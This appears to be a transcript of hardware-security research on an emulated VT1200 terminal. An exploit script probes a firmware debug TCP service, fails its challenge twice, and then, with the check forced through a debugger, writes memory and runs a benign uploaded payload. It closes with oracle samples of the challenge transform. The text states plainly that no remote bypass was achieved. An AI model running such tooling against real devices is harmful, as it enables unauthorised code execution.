Live TCP attempt against the stock firmware — transcript
=========================================================

Host: 192.168.99.2 (VT1200, Ethernet 08:00:2b:16:4b:5a), MAME vt1200 with the
LANCE on tap-mess-1000-0 / bridge vt1200, VT1200_SKIP_LEVEL1=1, fresh nvram.
Service: "DEBUG TCP Port", port 771.

--- 1. Liveness + echo challenge (remote; gate A passes, gate B fails) ---

$ python3 dwt/exploit.py --host 192.168.99.2 --opcode 7 --verbose
[.] connected to 192.168.99.2:771
[>] 00 00 00 07
[<] len=17 flag=0x7f payload=f3 2c ec 8d 00 00 ea d0 02 63 a8 c0 f3 24 ec 8e
[.] answering echo challenge with f3 2c ec 8d 00 00 ea d0 02 63 a8 c0 f3 24 ec 8e
[>] f3 2c ec 8d 00 00 ea d0 02 63 a8 c0 f3 24 ec 8e
error: connection closed after 0/4 bytes

emulator side (dwt/evidence/run-live/debug.log):
LIVE accept_debug_conn entry pc=3F58AD60
LIVE dispatcher entry pc=3F59F320
LIVE dwt_prf challenge entry pc=3F59FDC0
LIVE challenge memcmp a8=FFFFFFFF (0=equal)

=> echo FAILS; the session is killed.

--- 2. Word-swapped challenge (computed) ---

$ python3 dwt/exploit.py --host 192.168.99.2 --opcode 7 --challenge computed --verbose
[<] len=17 flag=0x7f payload=ea 06 25 ac 00 02 22 ca 02 63 a8 c0 e9 fe 25 ad
[.] answering computed challenge with ac 25 06 ea ca 22 02 00 c0 a8 63 02 ad 25 fe e9
[>] ...
error: connection closed after 0/4 bytes

emulator side:
LIVE challenge memcmp a8=00000001 (0=equal)

=> byte order fixed, but the firmware's in-place transform still differs.

--- 3. Debugger-assisted loader proof (challenge comparison forced to 0) ---

The live_probe.lua breakpoint at 0x3F5A0920 executes `a8 = 0` before resuming.
This is NOT a remote bypass.

$ python3 dwt/exploit.py --host 192.168.99.2 --opcode 7
opcode 7 -> flag=0x00 payload=44 6f 6e 65 0a 00 (b'Done\n\x00')

$ python3 dwt/exploit.py --host 192.168.99.2 --peek 0x3F200000 --len 8
peek 0x3f200000 (8) -> e9 7a e2 f5 aa aa 55 55
   (== first 8 bytes of vt1200_v22.bin; the address is a BIT address)

$ python3 dwt/exploit.py --host 192.168.99.2 --poke 0x01820000 --hex DEADBEEF
poke 0x01820000 <- de ad be ef: ok
$ python3 dwt/exploit.py --host 192.168.99.2 --peek 0x01820000 --len 4
peek 0x01820000 (4) -> de ad be ef

$ python3 dwt/exploit.py --host 192.168.99.2 --poke 0x3F200000 --hex 0000
poke 0x3f200000 <- 00 00: ok
$ python3 dwt/exploit.py --host 192.168.99.2 --peek 0x3F200000 --len 8
peek 0x3f200000 (8) -> e9 7a e2 f5 aa aa 55 55
   (unchanged: ROM writes are ignored by the memory map)

$ python3 dwt/exploit.py --host 192.168.99.2 \
    --poke-file 0x01800000 --file harness/hello-world/payload.bin
poke-file harness/hello-world/payload.bin: 82 bytes at 0x01800000: ok
$ python3 dwt/exploit.py --host 192.168.99.2 --jump 0x01800000 --jump-wait 0
jump 0x01800000: no return within 0.0s (expected for a non-returning payload)

emulator side (dwt/evidence/run-live/mame.log):
LIVE rdebug_poke entry pc=3F5A1B50
LIVE rdebug_jump entry pc=3F5A3890
LIVE payload-ran: MAGIC1=DEAD MAGIC2=BEEF COUNT=0400
LIVE payload-ran: VRAM block 1024/1024 words FFFF, 0 holes

=> the stock loader delivers and runs our payload; gate B is the only thing
   between a remote attacker and this.

--- 4. Challenge transform oracle (chosen 8-byte replies) ---

dwt/evidence/run-live/render-probes.txt: deterministic, nonlinear, per-8-byte
record.  Samples:
  f(00*8)                 = 90 de 09 b4 72 85 58 17
  f(01 00 00 00 00 00 00 00) = b1 97 5f f1 d7 8d 03 2a
  f(ff 00 00 00 00 00 00 00) = fc 00 33 8c 74 4b 2d 1b
Changing one input byte changes all eight output bytes.
